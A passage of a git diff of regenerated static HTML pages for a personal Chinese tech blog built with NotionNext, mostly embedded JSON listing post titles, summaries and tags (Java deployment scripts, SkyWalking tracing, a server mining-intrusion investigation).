2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"tag":"日志"},"__N_SSG":true},"page":"/tag/[tag]","query":{"tag":"日志"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":1,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"tag":"日志"},"__N_SSG":true},"page":"/tag/[tag]","query":{"tag":"日志"},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git "a/tag/\350\207\252\345\212\250\345\214\226.html" "b/tag/\350\207\252\345\212\250\345\214\226.html"
index 000ba0319..8d2e2cfbc 100644
--- "a/tag/\350\207\252\345\212\250\345\214\226.html"
+++ "b/tag/\350\207\252\345\212\250\345\214\226.html"
@@ -1,8 +1,8 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>自动化 | Tags | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="自动化 | Tags | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//tag/自动化"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="自动化 | Tags | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/tag/%5Btag%5D-27fd94272e69240a.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 